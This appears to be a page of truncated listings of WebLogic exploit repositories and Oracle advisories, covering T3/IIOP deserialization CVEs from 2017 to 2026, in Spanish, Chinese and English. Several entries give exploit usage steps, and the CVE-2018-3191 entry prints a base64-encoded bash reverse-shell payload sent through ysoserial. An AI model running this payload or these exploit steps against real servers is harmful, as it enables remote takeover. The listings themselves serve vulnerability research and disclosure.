CVE-2022-21350

¿Por qué dos PoCs? Uno contiene com.51pwn.hktalent.CreatJar.mainargs; se utiliza para crear la herramienta de generación de payload mínimo. Después de crearlo, usa el otro. Ejecutar CVE-2022-21350powerBy51pwn.jar para construir el payload da un error, pero no afecta el uso del payload. Otros...

Weblogic-CVE-2020-2551-To-Internet

Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC para usar en Internet POC de prueba se puede usar en redes externas python CVE-2020-2551.py HOST IP Intento de modificar el codebase para cargar clases remotas fallido python CVE-2020-TEST.py HOST IP Breve análisis de la vulnerabilidad weblogic...

CVE-2019-2890

CVE-2019-2890 Clona el código de https://github.com/v-gift/CVE-2019-2890 Exploit CVE-2019-2890 para WebLogic con T3...

Oracle WebLogic Server - Remote Code Execution

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...

CVE-2023-21839

CVE-2023-21839 分析 该漏洞是因为通过t3或iiop协议绑定了对象之后调用lookup或list方法的时候触发了绑定对象的getReferent方法 调用栈 t3协议的 root@kitploit: getObjectInstance:96, WLNamingManager weblogic.jndi.internal resolveObject:377, ServerNamingNode weblogic.jndi.internal resolveObject:856, BasicNamingNode weblogic.jndi.internal lookup:209,...

cve-2020-2555

CVE-2020-2555 Ejecutar Main.java generará payload.ser en el directorio actual; este payload se puede enviar al servidor de destino mediante el protocolo t3...

POC_CVE-2020-2555

POCCVE-2020-2555 PoC para CVE-2020-2555 3 partes: Cliente y Servidor: para construir el objeto y enviarlo al Servidor, desencadenar la cadena de gadgets. Úsalo para construir el objeto propietario. Ataque: enviar el objeto a través del protocolo T3 con pwntools...

CVE_2020_2546

Twitter: @Hktalent3135773 1、Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2、exploit GIOP + send bind CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 u otros GIOP + send jta rmi u otros GIO...

CVE-2018-3191

Weblogic-CVE-2018-3191 Vulnerabilidad de ejecución remota de código y comandos weblogic para entorno Docker 0x00 Introducción El 17 de octubre, hora de Beijing, Oracle publicó la Actualización Crítica de Parches CPU de octubre, en la que se corrigió una vulnerabilidad de ejecución remota de códig...

woodpecker-plugins

woodpecker-plugins usage Copy the plugins to the woodpecker-framwork/plugin directory and start java -jar woodpecker-framework.1.3.3.jar from https://github.com/woodpecker-appstore weblogic-info check T3 isOpen: root@kitploit: echo 't3...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 reverse shell IP local: 172.16.38.1 Weblogic: 172.16.38.174:7001 1. Ejecutar localmente java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Luego...

CVE-2017-10271

LAB 2 - CVE-2017-10271: Informe de Deserialización XMLDecoder en WebLogic I. Análisis del Sistema Análisis de los Registros del Sistema Servicio detectado: Oracle WebLogic Server AdminServer perteneciente a basedomain ejecutándose en Development Mode. Puerto de conexión: 7001. Protocolos...

CVE-2020-14645

CVE-2020-14645 使用方法 首先使用NDI-Injection-Exploit监听，并生成一个ldap地址。 java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget 和-RMI必填，https可使用--SSL参数，-Port默认7001。 自行编译需要添加coherence.jar和wlfullclient.jar 漏洞参考：...

Oracle WebLogic Server (August 2026 CPU)

The 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 versions of WebLogic Server installed on the remote host are affected by multiple vulnerabilities as referenced in the August 2026 CPU advisory. - Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core...

CVE-2026-60971

Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware component: Client Bundle. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromis...

CVE-2026-60921

Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware component: Client Bundle. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromis...

CVE-2026-60716

Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware component: OIM Legacy UI. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle...

CVE-2026-60722

Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware component: OIM Legacy UI. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle...

CVE-2026-60702

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core. Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromi...

CVE-2026-60696

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core. Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to...